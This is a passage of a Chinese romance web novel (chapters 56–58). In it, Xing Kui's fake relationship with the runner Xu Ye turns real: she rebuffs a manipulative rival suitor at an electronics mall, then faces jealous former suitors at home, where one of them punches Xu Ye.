许野口中的摘杨梅:他有农场,直接去摘。 跟你们天龙人拼了!仇富了真的,狠狠仇富了。 “摘完饿了我们吃披萨。”许野说道,邢葵想吃的披萨牌子,其实是金诺言旗下子品牌,他待会儿接师傅到农场现做一个。 许野起身,邢葵也站起来,想跟着他走,他却没动,而是向她伸出一只手:“情侣,要牵手走。” “我,这。”她犹豫,在她身前的手跟火炉精锻过的铁似的,手掌宽大,手指粗壮,看上去能把她捏爆。 “怕?”许野瞧出她的顾虑,“邢葵,我们会在一起不止一天。”——疑似内涵一天就分手的周镜,“你不能始终怕我,你试一试。” 他说得对,承诺了许野要助他缓解焦虑,她得好好做,邢葵微微颤抖,前伸大拇指、食指和中指,在心里不停打气。 气还没打满,许野一下将他的手塞到她手上,炙热穿过冰凉,抵在虎口,邢葵眼睛都瞪直了。 “抓好,我们去摘杨梅。” 约会第一天,他们在农场摘了杨梅,吃了披萨还有好些美食。 邢葵回家高兴地和江玉鸣描述,江玉鸣说他有个病人病入膏肓临死前就想吃杨梅,带走大半。 约会第二天,许野带邢葵去赶了海,没捉到蛏子,许野潜水替她抱回好多海胆。 邢葵回家兴奋地要吃海胆全宴,江玉鸣说他有个病人油尽灯枯临死前就想吃海胆,带走大半。 约会第三天,邢葵拉着许野体验了AR游戏,许野打得特别菜,她连赢好几把,将纸条贴满许野的脸。 回家笑呵呵回忆,江玉鸣说他有个病人药石无效临死前就想打一把AR游戏,连夜搬走刷许野卡买的AR游戏设备。 …… 约会第N天……妈妈!感觉江玉鸣最近死了好多病人耶!他医术真没问题吗? 出门前,邢葵实在按耐不住吐槽:“我希望我今天回来,你别再死病人了。” 她瞪江玉鸣,江玉鸣就看着她笑,然后蹲下来替她系鞋带:“鞋带要系紧,不然人容易跑不回家。” 邢葵叹气,江玉鸣总是暗示她,周镜也不遑多让,她确信这两人私下一定有过对话,每天都一明一暗地打听她和许野的相处。 她挑了下眉梢,趁江玉鸣在系鞋带,火速给三人拉了个群:【既然你俩都很关心我和许野,那我有事群里说,省得我要说两遍。】 看你们好不好意思听! 鞋带系紧,江玉鸣仰起脸:“笑什么?” 邢葵忍着笑,晃脑袋:“没什么没什么,我出发咯。” 她开门、关门,靠着大门,手抓住挎包链条,唇角有一丢丢恶劣地上弯。 走咯,去和许野约会咯。 门内,江玉鸣看到列表新的群聊,翘了翘嘴角,私发周镜消息:【恭喜,被踢出群的你,有了新的群。】 周镜很快回:【现在是喜的时候吗?】 确实不是,邢葵每日都会讲她的经历,从最开始她专注于讲干的事,到后来她的话中许野名字出现得越来越多。 她是没喜欢上许野,但她不怕许野了。 京江大男生宿舍,许野穿上鞋,几名室友点了烧烤在吃。 “许哥,要不要来一串儿?”彭鹏举高一只烤馍。 “不用,我走了。” 许野离开,彭鹏抓耳挠腮,对着阖上的门比划了一下:“你们有没有觉得,咱哥瘦了?” 程强咬着牛肉串,嘴边沾了孜然,说话含糊:“可不会瘦嘛,我好久没见他吃米饭了,以前他在食堂打饭,那饭摞老高。 莫名其妙减肥,莫名其妙天天出去,我跟你们说,哥用我的情商保证,绝对是恋爱了,瞒着我们呢!” 彭鹏若有所思,楼下路上,许野也侧着头若有所思。 是有人跟着他吗?奇怪,算了,他赶时间。 他往前面走,宿舍楼墙后,宋弘宇探出头。 没邢葵微信的宋弘宇,心心念念想联系邢葵,曾跟许野讨要过邢葵号码,惨遭拒绝,这之后,宋弘宇就暗中留意起许野。 他注意到,许野最近总是离校,步也不跑,不对劲!不会是去见邢葵吧?他必须跟过去瞧瞧! 第56章 和煦的阳光洒在京江市最繁华的步行街,今日是个适宜逛街的好日子,街道前的烘焙店面包香气扑鼻。 玻璃窗顶设有遮阳棚,棚下,邢葵挎着小白包等待许野,上身是polo领天蓝色长袖,下穿浅黄色长裤,穿得清新,与她明亮的心情相衬。 最近她的人生愿望清单一项项被打勾,她过得放松欢欣,在街道喧嚣声中期待着许野到来,唇畔噙着藏不住的笑意。 高大挺拔的男生出现在对面街头,邢葵高兴地向他挥挥手:“许野,这里,这里!” 许野看到她,穿过人群很快地向她跑过来,这个距离,他快速跑来连气都不用喘,仿佛就简单走了两步路:“今天逛街?” “嗯!”阳光斜着照在许野肩头,往他身上镀了层金色,他穿着深蓝色的短袖运动衫,某种程度上,跟邢葵穿的还挺像情侣款。 他一到来,邢葵几乎是习惯地,牵住他的手。许野手指一颤,电流从手指到手臂再到心脏,电得心脏悸动地跳。 邢葵无所觉,她比许野矮很多,还仰着干净的脸冲他笑,特别像阳光热烈时,冲太阳盛放的小葵花,许野心跳得更急促。 近期的许野,实际是在借假恋爱追求邢葵。 他不够聪明绝顶,想不来五花八门的手段,基本就靠一句话,或者一个词:听话。 邢葵要什么,他给什么。 不知道有没有用,好像是有用的,至少邢葵牵他的手不再发抖。 旁边烘焙店的玻璃窗照出两人叠在一起的十指,也照出某人握在一起的拳头。 对面街道墙边,宋弘宇拳头捏紧,他就晓得许野离校是见邢葵,邢葵握他手干什么?是不是许野手上有汗要擦! 他眼里快渗出名为嫉妒的毒水,迈步就要追上去“偶遇”,怎料许野先一步牵着邢葵的手 拐了弯。 双方距离拉大,宋弘宇要赶上势必要跑快,他没许野擅长跑步,跑快会大喘气,大喘气就不像偶遇了,无计可施,宋弘宇只好遥遥盯着二人背影,还跟在他们后面。 “过两天就五一啦,我想给我妈买点东西寄回家。”邢葵拿着手机导航,“我妈前几天发了朋友圈,说家里空调老了,她想买台柜机。” 其实是前几年有家亲戚换了柜机,邢母那人要强,别人有的她也想有,过去也提过几次,邢葵一直觉得没必要。 最近邢母在跟邢葵冷战,故意在朋友圈提到柜机,邢葵一见就领悟,妈妈这是在给她提供台阶,妈妈要面子,下不来台,要女儿搬个台阶过来哄哄。 哄!邢母不催婚的时候挺有意思的,不然也养不出有意思的邢葵。邢葵也不想和母亲僵持下去。 “寄回家?”许野跟着邢葵走。 “嗯嗯,我就不回去了,距离产生美,我人在这里,寄东西回去,我妈会说‘我女儿真好’,我人和东西都回去,我妈可能会加一句‘要是结婚就更好了’。” 邢葵笑着摇头,“到啦,电器城,我查到这家电器城这两天九周年庆,全场九折。” 果真是周年庆,高楼外面拉了至少六条宣传竖幅,入口处人挤人,许野护着她,二人费了一番功夫才挤进去,一楼卖手机、电脑等数码产品,二楼卖电饼铛、饮水机小家电,三楼才是冰箱、空调大件。 邢葵早就做过攻略,有心宜的品牌和型号,价格合适,当场买下,和导购说需要送货上门加安装服务,导购拿来一张单子让她填写,许野待在她身旁。 写着老家住址,一名男生突然挤进她和许野之间,都吓到了她,宋弘宇打招呼:“邢葵!真巧,你也买家电!” 邢葵受惊,心脏突突跳了两下,才反应过来是哪位:“啊……巧。” 隔着宋弘宇,许野浓眉压下,不喜他冷不丁到来吓到邢葵,质问:“住学校宿舍也要买家电?不违反校规?” 宋弘宇脸一僵,他趁邢葵停留在电器城,可算有机会追上,激动之下思虑不全,幸好为人有点脑子:“是啊,我买了寄回家。” 他忽视许野,眉目温和地凝望邢葵,“你知道,我妈身体不好,我想给她买台扫地机,这样能减少她扫地的辛苦。” 言语间,既展现出他的孝顺,又透露出邢葵了解他的家庭情况,故意显得他和邢葵的关系不一般。 然而,许野性直,压根没深想弯弯绕绕,宋弘宇又不是重要的角色,也不值得他费劲深想。 宋弘宇蓄力一击,伤害为零。 冷冷地瞧了眼碍事的宋弘宇,许野大手负到背后,招了招,宋弘宇正想和邢葵说诸如“我不清楚哪款扫地机好,你能不能帮我挑挑”之类的话,正在这时,一个新的人冒出来。 “太巧了!你们都在!”彭鹏蹿出,一下子揽住宋弘宇的肩,力道大得都将他压到一边,脱离许野和邢葵之间,“你们也跟我一样来买手机?” 宋弘宇:“……”为什么许野的室友也在? 时间倒回到许野下宿舍楼时,他直觉惊人,没走多远就发觉疑似遭到跟踪,但赶着赴邢葵的约,没空去揪,于是,他边走边给室友发了消息。 【在窗边看看,是不是有人跟踪我。】 地面上的人躲得再隐蔽,也逃不过高层俯瞰。宋弘宇自认为完美跟踪,殊不知他偷偷摸摸的模样全被彭鹏看见,并一五一十转述给许野。 彭鹏爱凑热闹,也跟了过来。 三个男生彼此看着,暗流涌动,对此,邢葵浑然不知:“你好,我写完了。” 她将单子交给导购,对人家友好地笑,几名路人走过:“走走走,一楼搞活动,我都没注意。” 什么活动!她也没注意!邢葵生出兴趣,转头要牵许野的手,偏过头才意识到身侧变成三个男生,伸出的手僵硬一下,战术性收回伸了伸臂,就当弯腰写字腰酸背痛做锻炼。 她招呼:“许野,我们也去一楼吧。” “好。” “那你们两个一个买扫地机一个买手机的——” 宋弘宇:“一起去,我买好了。” 彭鹏:“我也一起去,太贵了不买了。” 一楼人山人海,先前邢葵进电器城时嫌一楼又挤又吵,没怎么看就上了楼,这会儿下来细瞧才发现,电器城竟在一楼设了专区庆贺周年。 比如有抽奖箱,消费者可凭购物小票获取抽奖次数;再比如有物品盲盒,分88、188等多种档次。 还有游戏形式,比如套圈,比如射击气球。 意识到不少顾客都没注意到活动区,主办方拿出了大喇叭。邢葵因此清楚听见,击中十个气球送音箱。 “送音箱!”邢葵快步走向射击摊位,有三个年轻力壮的大学生替她开路,即使人流如海,她也顺顺利利抵达,“我妈爱跳广场舞,她会喜欢音箱。” 摊位旁放着实物,外包装纸箱写的牌子是个大品牌。邢葵想起邢母的旧音箱,是她自己刷某抖买的杂牌,给母亲换个好音箱,能让她在广场舞友那里红光满面地炫耀。 小时候妈妈宠她,长大后她宠妈妈。邢葵的目光从音箱移到一排排气球,击十次中十次,不知道难不难啊? 这类游戏,她七八岁时赶集玩过,儿时玩得很烂,十次连三次都中不到,说不定长大后能有进步! “想要音箱?”许野在她身边问。 “嗯嗯,我试试,中不了我就去买,十中六有优惠券,我高低要射破六个球。”邢葵表露决心,十块钱玩一把,“老板,付款二维码在哪儿?” 哗啦付款,拿到枪,她在手中掂了掂试重量,又架起射击姿势找瞄准点,神似狙击手,像模像样的。 许野看着她认认真真的样子,禁不住地笑。 然后—— 第一击,打空。 第二击,打空。 第三击,打空。 …… 第六击,打空。 第七击,邢葵闭着一只眼瞄了半天,最后放下枪,送给旁边观看了好久很想玩但家长不让的学生:“小姑娘,你玩吧。” 可恶,邢葵攥住她的手腕,车祸中她的手臂也经过剧烈撞击,如今只要一抬高就抖,根本拿不稳枪支。 许野:“我来。” 宋弘宇:“还是我来吧。”他抢着说,含笑看向许野,阴阳怪气,“我很擅长,不会浪费钱。” 许野:“你说邢葵浪费钱?” 宋弘宇:“……”我在内涵你!这人怎就听不懂!“都是朋友,我怎么会有这种意思。” 他特别强调了“都”字,以试探许野和邢葵的关系。 许野没反应——他没听懂,邢葵也没反应——她在看她送枪的小姑娘打气球,四击中了两击好厉害,她的家长都商量起要不要花个十块钱让她争争奖励,真好,宋弘宇暗自松了一口气,拿出手机要扫码。 想着人家是帮她玩,邢葵打算替宋弘宇付款,手机方一抬起,被许野按住:“别让他浪费你的钱,那个谁,我们都付,打完谁能十中十,再让邢葵转谁十块。” 他口吻充满敌意,看宋弘宇的眼神都像一把磨到锋利的剑,仿佛在嫌弃宋弘宇白费邢葵的时间。 宋弘宇被刺激到:“这么自信,小心输。” 许野反唇相讥:“你也很自信。” 邢葵听着他们一人一句自信,看看宋弘宇,又看看许野,疑惑:“你俩玩过吗?” 宋弘宇:“玩过。” 许野:“没有。” 两人说完,旁听的彭鹏立马喊:“那你们比这个不公平啊。”他试图阻止这场许野一听就会输的比赛,“都不在同一起跑线上比什么,胜了都不武。” 许野:“就要比,我不能看他浪费邢葵钱。” 彭鹏:“……”不是哥们,人玩过,你个没玩过的,究竟谁会浪费钱? “几位……”等待收钱好久的摊位老板忍不住出声, “你们到底玩不玩?” 许野&宋弘宇:“玩!” 二人争先恐后都去扫码,邢葵挪到一边,心里对两位都没抱期望,老板敢将一等奖设为大品牌音箱,足见十中十的概率极低。 许愿他俩能有一个中六吧,给她一张购物优惠券就很好了。 噗啪、噗啪、噗啪;噗啪、噗啪、噗啪。 许野和宋弘宇各站一边,似连射击的速度都要比一比,邢葵就听见一道道短促的“噗”,每一道噗后还跟着气球爆裂的“啪”,此起彼伏。 各自十击结束,邢葵、彭鹏、摊位老板都张开了嘴合不拢,只见,左边许野攻击处,十只气球被击破;右边宋弘宇攻击处,九只气球被击破。 场上一时无声。 老板:十击送音箱,九击送电风扇,要出血了啊啊啊。 彭鹏:仔细想想,射击也算运动,许哥,不愧是你。 宋弘宇:靠,最后一击看许野也击中不少没稳得住。 邢葵:音箱!音箱!我的音箱! “电风扇我就不要了,宋弘宇,你拿着吧,许野!我转你钱!” 邢葵兴高采烈,许野心情美好,宋弘宇如丧考妣。 老板拿出来展示的只是纸盒,以防行人多造成产品磕碰,中奖后要去卖小家电的二楼取货。 “那邢葵你去吧,我去洗把手,彭鹏,你跟着去。”许野说道。 邢葵点点头,走了,射击枪不知道多少人拿过,是脏,她到二楼也去洗个手。 许野目送她和彭鹏离去,脸色渐冷,捂了下腹部,看向同样留下的宋弘宇。洗完手,走出卫生间,许野直接拽住宋弘宇拐进旁边楼梯间:“你够了,别再打扰邢葵。” 宋弘宇后背撞到墙:“你凭什么说我是打扰?我争取我的幸福没有错!” 他言辞铮铮,犹如他是为爱力争的斗士,头戴王冠,身泛光芒,勇猛神圣。 许野蓦地冷笑,浇他冷水:“你之前,在xx会所当男模吧?” 宋弘宇神色骤变:“邢葵告诉你的?” 许野眉梢一蹙:“你第一反应是怀疑邢葵?” 二楼,彭鹏等待邢葵洗完手:“你好呀,见过几面了都没正式自我介绍,我叫彭鹏,是许野室友,平常喜好搞幽默,经常让人笑到‘嘭嘭’爆炸。” 名字还挺好记的,邢葵疑惑地看向他:“怎么了吗?” “我想跟你说件事,我觉得你应该知道。”彭鹏嘻嘻哈哈的,眸色却透着严肃,“许野好些天没吃饱过了,他在减肥。” 邢葵愕了愕:“减肥?他减什么肥,他也不胖呀。” “我猜是因为你,其他的我就不清楚了,毕竟最近和他接触最多的是你。”彭鹏说道,“许野是个挺不错的人,希望你别辜负他。” 彭鹏想起去年,他穿了一双破的运动鞋,许野说这双鞋会影响跑步,他又不爱跑步,报田径社纯混子而已,笑嘻嘻编了个凄惨身世,说他买不起新鞋。 谁听都知道是假的,可后来他宿舍桌子底下却多出一双新鞋。 邢葵独自下楼,反复回忆这段时间,她没让许野减肥呀,许野怎么会减肥呢? 她一件事一件事地想,直到想到许野答应她假恋爱的那天。那天,她跟许野说了她怕他的原因。 她不喜欢所有肌肉男。 邢葵愣得停下脚步,许野是在……讨她喜欢? 一个念头冒出,不远处的楼梯间也传来对话声,她听出是许野和宋弘宇,走近。 宋弘宇:“不是她说的还能有谁?” 许野:“不用她说,那天,我看见了,你躲在角落里,生怕被同校的我撞见。” 宋弘宇噤声。 “我当时不认识你,可你认得我,你要真心想追求邢葵,会所之后就该与我接触,想办法接近邢葵,然而你没有。 因为,你对邢葵的喜欢,远不及你对你自身名声的在意。 直到你又一次偶遇邢葵,或者不是偶遇,而是你猜想我在的地方可能会碰到邢葵,所以时不时路过操场碰运气。直到邢葵给了你‘朋友’的身份,你才有胆子追求。 你现在口口声声追求爱情,可一旦邢葵和你自身的利益矛盾,我都能想到你会选什么。 宋弘宇,你就是个自私自利的伪君子,不要再接近邢葵一步,否则,你也不想你做男模的事全校皆知吧?” 邢葵已经走到楼梯门前,门后的每一字都被她听见,胸口心脏控制不住狂跳,扑通、扑通、扑通。 被质询倒的宋弘宇似不甘心,气泡水化身巫师魔药,突然挑衅:“你没资格这么做,说我,你又算什么东西!” 吱呀,邢葵推开门,挡到许野面前:“请不要对我男朋友这么说话。” 第57章 她的陡然出现,让许野和宋弘宇都变了脸色。 许野是迷茫、窘迫,夹杂惊喜,而宋弘宇就是全然的惊吓了。 “你听我解释,邢葵,他完全在误解我!”宋弘宇焦急否认。原本他是气泡水清清爽爽的形象,这会儿慌乱之中面目竟有些狰狞。 邢葵看着这样的他:“误解你?是吗?” 她抬起食指点头,“我出过车祸,这里被狠狠撞过,思索事情非常艰难,但不代表我成了傻子。 你早就知道我和许野相识,又是个聪明人,在操场遇到我该猜到我是来见许野,可你却表现得相当惊讶意外,简直像演的。” 可以说,自宋弘宇一出场就露了破绽。 只不过邢葵睁一只眼闭一只眼罢了。 “想藏不光彩的经历是人之常情,我没揭穿你,还替你遮掩,本来我们也能做朋友,可你听到许野提及,居然怀疑是我告密,宋弘宇,我对你很失望。” 邢葵是个温温柔柔的人,善良老实,由她口说出的“失望”也似一捧温水,却冻得宋弘宇如坠冰窖。 他眸光颤烁,还要狡辩:“那晚会所昏暗,我根本没瞧清!” 邢葵不给他面子:“别狡辩了,你不可能没看清,会所又不是伸手不见五指,你或许不记得保镖,但一定会关注主角。” “就算这样又怎样!”宋弘宇冲上来,要抓她的手,被许野先逮住手腕扔一边,人撞到楼梯横杆,怒气冲冲,“邢葵,他不会有我待你好,你年纪比我们大,脸上有疤,他今天喜欢你就是荷尔蒙造成的冲动,但我不是,我甚至愿意为你当三。” 许野眉头拧下想要说话,邢葵先笑了:“我跟许野认识差不多两个月,他从来没提过一句我的年纪和疤痕,你们两个到底谁更介意啊?” “我、我没有!” “为我当三还是为你自己?”邢葵望着宋弘宇,仍在诘问,“在你眼里,你追求我,其实是在‘扶弱’吧?你追求我,有一部分原因,是这种‘扶弱’行为让你感觉你很伟大吧?你沉浸在自我感动里。” 事实上,宋弘宇是个喜欢自我感动的人,这点从他为母亲筹医药费当男模就初见端倪,医药费,救命钱,既选了当男模来挣,那就该勤勤恳恳,假如邢葵是宋弘宇,绝不会当着客人的面端着。 而当时的宋弘宇是什么样的呢?他眼神抵触,时常皱眉,一副身负艰苦被迫折腰的奉献者模样,内心嫌弃客人还幻想美丽富婆拯救。 换作邢葵,她可能也会觉得客人恶心,但抵触皱眉、乃至呕吐都是回家等妈妈睡着才会做的事,当场对客人一定是笑的。 宋弘宇被问到说不出话。 邢葵收尾:“停止狡辩吧,你已经耽误了我跟我男朋友太多的约会时间,我想你可能需要我说再清楚一些——滚。” 她想起以前江玉鸣怎么教她处理那些乱七八糟的朋友。 一个“滚”字,一道暴击。 血条清空的宋弘宇没脸再留,最后含着泪深深望了望邢葵,灰溜溜离去。 楼梯门再一次阖上,邢葵转身,看向许野,他正呆滞地望着她,麦色 的面颊犹如擦了层红胭脂,像在品味她刚刚提到过两次的称呼:男朋友。 如若今日在这里的是周镜,他大概会温和地笑,扬起声调,以重复询问:“男朋友?” 如若今日在这里的是江玉鸣,他应该会厚着脸皮,笑眯眯地说:“好孩子,快让男朋友亲亲。” 然而此时此刻在邢葵面前的是许野,他在四目交汇中害羞无措,不确定邢葵何意,很想打破沉默问这个“男朋友”前面有没有括号,括号里面是一个“假”字,但想问又不敢问。 冷不丁地,邢葵伸手揪住许野深蓝色的运动衫下摆往上一掀,空气和邢葵手的冷共同撞上许野精壮的小腹,他肌肉块块的腹部猝地一缩。 邢葵直接上手摸:“一块、两块……八块,呼,还好八块腹肌没有瘦掉,我可不要缺腹肌的男朋友。” 又是男朋友……邢葵什么意思啊,许野紧张得呼吸苦难,瘦……瘦?!“你怎么知道?” “你疯了吗?”邢葵喊着问,“你练跑步的能减肥?” “你怕肌肉男啊,我想减些肌。”许野低着褐眸,担心他做错了事,邢葵却摸到了他的胃上方,目光专注。 “饿不饿?” 饿,饿到胃疼,不过许野很能忍痛,没当着邢葵的面表现过。 “我请你吃饭。”邢葵牵住许野的手,拉他向楼梯间外走,步行街上有大量餐饮店铺。 “刷我的卡。” “我说我请你吃。” 某家常菜馆内,邢葵扫码付了款,许野拿着勺子,桌面摆放好几盘盖浇饭,他不知道该不该吃。 美食诱人,可邢葵怕肌肉男,他可以戒掉口腹之欲。 “快吃,还要我喂你?”邢葵凶起许野,把盘子往他那里推,她也拿起勺子,与面前的菠萝咕咾肉盖浇饭奋战。 她一声不吭,许野试探地吃了一口,又一口,确认她真是要他吃,听从她的意愿,他端起盘子风卷残云。 邢葵咬了口菠萝,汁水蔓延口腔,好酸,酸中带甜,余光看着许野那边光掉的一只又一只瓷盘,她有一点点想哭。 没想到许野因为她一句话就去减肌。 五年前,她爸李正军胖到肚子有一只足球大,和她妈信誓旦旦,说给他一年时间,肯定减掉二十斤。 后来一年过去,李正军又说,给他三年时间,他肯定瘦到结婚时……一晃五年,李正军的减肥结果是:他的肚子如今堪比两只足球。 李正军向妻子保证过,却拖延五年都没干的事,许野因为她无心一句话就付诸了行动。 小时候妈妈很宠她,一百分的卷子她失误拿了九十八分,妈妈会说没关系,九十八分也很棒。 长大后,人生这张试卷,她因为没结婚在妈妈眼中扣了分,妈妈却不会再说没关系,她缺少的两分重量竟远超她得到的九十八分。 而许野却没有这般对待她,宋弘宇提的年纪和疤痕,他从不跟她提,仿佛她就是完美无缺的一百分,他对她百依百顺,温暖如炙夏。 许野交给她他的卡。 许野要给她买行星命名权。 许野想为她准备从小到大的生日礼。 许野陪伴她完成一项项心愿。 宋弘宇对她的感情不纯粹,可许野的心却如剔透水晶,少年人炽热的情感,以无与伦比赤诚、甚至有点憨的形式,撞动邢葵心脏。 她吃着吃着就很想哭。 “怎么了怎么了?”许野瞥见,手忙脚乱地抽面纸,比进场比赛发现突然失明还要慌张。 邢葵擦眼泪:“我吃不下了,你怎么这么能吃!好多钱!” 许野:“我,对不起。” “你吃吧别饿着。”邢葵将她那盘也端给许野,“吃完跟我回家一趟,我承诺过江玉鸣,我要对你动心会告诉他。” “噢噢,啊?”许野宛如在坐过山车,移动的滑轮瞬间带他来到最顶端。 下方是多位哥哥们。 江玉鸣的心情现下确如坐过山车的乘客,日薄西山,愉悦地一进邢葵家,就看到邢葵许野并排坐。 再听邢葵介绍男朋友,江玉鸣后悔离开医院时,没带出一把手术刀,否则这会儿就能一下割开许野脖颈动脉。 “好孩子,我劝你收回刚才的话,我要去厨房拿把菜刀。” “你别吓人哦,我这就给周律师打电话。”邢葵和江玉鸣周镜有群,这个点周镜也起床了,她发起群通话。 周镜的灰金色椭圆镜头像出现在屏幕,邢葵外放手机声音。 大概是猜出这架势背后含义,周镜进入聊天后一直没吭声,还是江玉鸣先嗤笑:“葵葵,还不将你跟我说的,再跟周镜说一遍,毕竟他才是你前男友,我比他早知道,他不会芥蒂吗?” 邢葵:……这都能竞,服气。 “周律师,就是,你先前建议我找许野恋爱嘛,我现在假戏成真了,我男朋友现在就坐我旁边。” 邢葵看向端坐在旁边、活像见家长的许野,“啊对了,我还没问你愿不愿意……” 周镜和江玉鸣都希望许野能答不愿意,但显而易见是不可能的,许野以惊人的速度疯狂点头:“愿意愿意愿意愿意愿意愿意……” 邢葵:“好了,停下。” 许野停下。 跟被按下暂停键似的。周镜坐在早餐桌旁冷笑;江玉鸣在现场,牙都快咬成碎片,他就是靠这副乖成狗的样子取悦邢葵的? 他舔邢葵舔成狗时她也没心动。 难道他那个时候不像狗吗? 或许该在四面墙壁装上玻璃镜,在天花板装上一排排灯,让邢葵能仔仔细细看他舔。 江玉鸣卷了下长舌。 邢葵:……他在想什么。 总感觉江玉鸣这个人怪怪的,行事好似掺杂着某种她说不上来的目的,她都不清楚江玉鸣对她有没有真感情,还是只是生理上喜欢。 总之,她谈恋爱了,就要理清身边男人关系。 江玉鸣嘴角上扬弧度:“要不然这样好了,一周七天,我们三个一人占两天,周日给葵葵休息。” 邢葵:“???????” 手机里的周镜终于出声:“少胡说。” 就是!少胡说八道! 邢葵气恼地瞪瞪江玉鸣,她对江玉鸣没有爱情,对周镜曾有过,也斩断了,他们两个再不乐意她谈恋爱,也不会动摇她。 “又唱白脸,葵葵可别被周镜诓了,阴险东西坏得很。”江玉鸣凝视起许野,从他入手,“哥哥曾帮助过你,你要记得感恩。” 许野想起看电影那天,江玉鸣将邢葵失忆一事告知他,并要求他日后要感谢。 他看了看江哥,撇过头:“不记得了。” 邢葵不清楚兄弟俩在说什么,他们认识那么多年,可能是过往某一年帮的吧,当即道:“听到没,他不记得了,你别挟恩强迫,我再强调一遍,我不接受小三。” 江玉鸣捂住耳朵:“没听见哦。” 他对邢葵是正常的笑,转向许野时那笑意便彻骨阴寒,翻车了,周镜引进许野的前提是自信他能胜过许野,江玉鸣不阻碍的前提是他得是小三。 哦,较真算算,周镜是三,许野是四,江玉鸣想当的那叫五。 远在异国的周镜也无法开心,他听着邢葵维护许野,吃不下一口早餐,倏地开口:“葵葵,你想好了吗?许野还小,未来有太多不确定性,你想好的话我会支持你。” 江玉鸣嘲笑:“听啊葵葵,这人又唱白脸,仔细比比,我这人跟许野一样,也挺真诚的。” 你真诚个鬼啊,除了烧,那是够真的,邢葵学习他耍无赖的方法, 也捂住双耳:“听不见哦。周律师,我想好了的。” “那我们亲过十九次你也听不见吗?”江玉鸣笑得眯起艳丽的双眼,斜视一旁许野,“就坐在他的位置也亲过好几次呢。” 明晃晃的挑衅,邢葵都化身雕像,许野抬起脸来:“嗯,这个位置现在我坐。” 噗,邢葵咧开笑,起身,上前严肃脸:“好了!你走吧,以后别随便进我家了。” 江玉鸣不肯走,眼瞅着他要说出更多惊天地泣鬼神的话,邢葵索性亲自推他,从客厅推到玄关,打开屋门,态度明确,“不要再来了!” 屋门口,一只手悬空,刚要按门铃,厉乘川提着一袋水果,望着他俩,眉心缓缓揪起。 糟糕!邢葵心神在其他人事物上,没警觉到厉乘川到来的动静! 就在她紧急动脑时刻,江玉鸣猛然大喊:“老厉,我怀疑她家藏了人!” 第58章 几乎一瞬间,江玉鸣从门内跃出,站到了厉乘川身边,仿佛与他是同气连枝的好兄弟。 这变脸速度,不亚于许野跑步的速度,邢葵惊呆了。 厉乘川已然望向她,英俊的眉眼间流露起探询之色:“什么意思?” 今日许野、江玉鸣、周镜相继坐了过山车,厉乘川这会儿也坐了一趟,他买了水果,想好措辞要按邢葵家的门铃,门先打开,露出一位好兄弟;正要怀疑好兄弟,好兄弟又和他站在了一起。 “什么叫你家藏了人?”厉乘川紧拧眉头,又有什么他不清楚的事情发生了? 邢葵哪里敢答,只要厉乘川跃过她闯进客厅就能得到答案,许野就坐在客厅! 门外江玉鸣长臂搭上厉乘川的肩,好似是他强有力的援军,太诡异了,她真好奇江玉鸣要怎么圆。 毕竟江玉鸣说的话也将他自己卷了进去,他是通过什么途径察觉到她家有人呢? 江玉鸣冲她美艳一笑,犹如这修罗场与他无关:“老厉,最近在忙度假村项目,没看邢葵的账号吧?你没发现,你被邢葵拉黑了吗?” 厉乘川瞳孔骤地一缩,望着邢葵的眸里溢满诧异,拿起手机点软件。 “我发现了,这些天一次都没看见你点赞。”趁厉乘川低眸看手机,江玉鸣直勾勾地盯着邢葵笑,如同一朵鲜艳欲滴的玫瑰花。 “我想啊,邢葵哪有胆量拉黑你,八成是有人替她干的,我就来问问,结果邢葵让我出去,所以啊,我很怀疑,这人这会儿就在她家中。” 这一刻,邢葵都想为江玉鸣的演技和脑子鼓掌。 演技出神入化,明明拉黑这件事是她跟他讲的,江玉鸣撒起谎,脸不红,气不喘。 脑子转得飞快,编的故事有理有据,她要是厉乘川,她也会信。 可惜她是当事人,她笑不出来,江玉鸣摆明祸水东引加借力打力,他要引厉乘川去搞许野。 “邢葵,让开。”厉乘川抬眼,呼吸加重,音色透着冷寒,望向她背后的眼神凛冽。 “不让。”邢葵张开双臂,抵住门左门右,守住入口,许野刚点头做了她男朋友,她要保护男朋友。 “让开。” “不让。” 厉乘川深呼吸,什么人会拉黑他,不认识他的人会拉黑他吗?不了解他和邢葵关系的人会拉黑他吗? 屋子里面,一定,是他一位兄弟。 厉乘川捏紧手中塑料袋,袋中的杨梅如遭地震般抖动:“让开。” “不让。”下一秒,厉乘川单臂钳住邢葵的腰,直接将她抱起,双脚脱离地面,邢葵懵了一瞬,激烈反抗,手按上厉乘川双肩。 可她的力气哪能敌过厉乘川,厉乘川冷着一张俊脸,手掌按在她的腰旁,将她挪到一边放下,塞给她水果袋,径直往里走。 才不能让他进去,邢葵转手就将袋子塞到江玉鸣怀里,小跑着冲到厉乘川面前展臂。 厉乘川停下步伐,却不是因为她,而是因为她身后走出来的,许野。 邢葵扭头:“你怎么?你躲起来呀,这里有我呢。” 一句话,成功拉到厉乘川和江玉鸣两个人的仇恨,两个人都恨不得将许野弄死。 许野人高马大,体格强健,立在邢葵身后投下阴影,仿佛将她环抱,两个观看的男人真想将他竖着劈成两半。 他伸出手掌,有点不熟又羞涩地按上邢葵颅顶,抚了抚:“我没有躲着的必要,我现在是你的正牌男友。” 他又不是情人,他是正宫。 “宝宝。” 亲昵的称呼一出,邢葵眨眨水润的眼,一种羞耻感从头蹿到脚又从脚蹿到头,一个好比西幻文龙骑士的人喊她宝宝,细密的痒在她耳窝炸开,蔓延盘旋。 许野走过她身边,看着从小喊哥的兄长:“厉哥。” 没有回声,只有回击的动作。 厉乘川挥出拳头,直冲许野喊哥的嘴,拧到指关节泛白的拳头都在空气中轰出风声。 许野反应速度不慢,可他没躲,而是完整承受下这一击,兄弟情,在这一击里断掉吧。 血珠刹那从许野唇角溅出,邢葵瞳仁骤地放大,她想上前,江玉鸣拦她,她爆发出勇气和力量,挣脱开。 拉住许野,灼目的血从他的嘴角延伸到线条清晰的下颌,有一些血滴溅在衣衫,邢葵眼红,恼火地瞪向厉乘川:“你为什么呀?” 厉乘川被她愤怒的眼神镇住。 为什么,许野背着他偷他老婆,还当着他的面喊他老婆宝宝!他没按着许野的头往墙壁砸都是客气了,得顾及邢葵还在现场。 “你为什么要管兄弟这么多事?周镜和我在一起的时候,你也打他了吧?我记得那天他被你叫走,回来脸上有伤。” 邢葵气得面颊都红成龙虾。 “厉乘川,他们成年了,可能小时候你长他们年龄,比他们成熟,你能管教他们,可是现在都哪一年了,大家三观都已建立,你的管那叫多管闲事。” 邢葵凶了一通,拿出手机,当着厉乘川的面把他的账号移出黑名单,扣住许野的手,十指相交拍了张照片发自媒体。 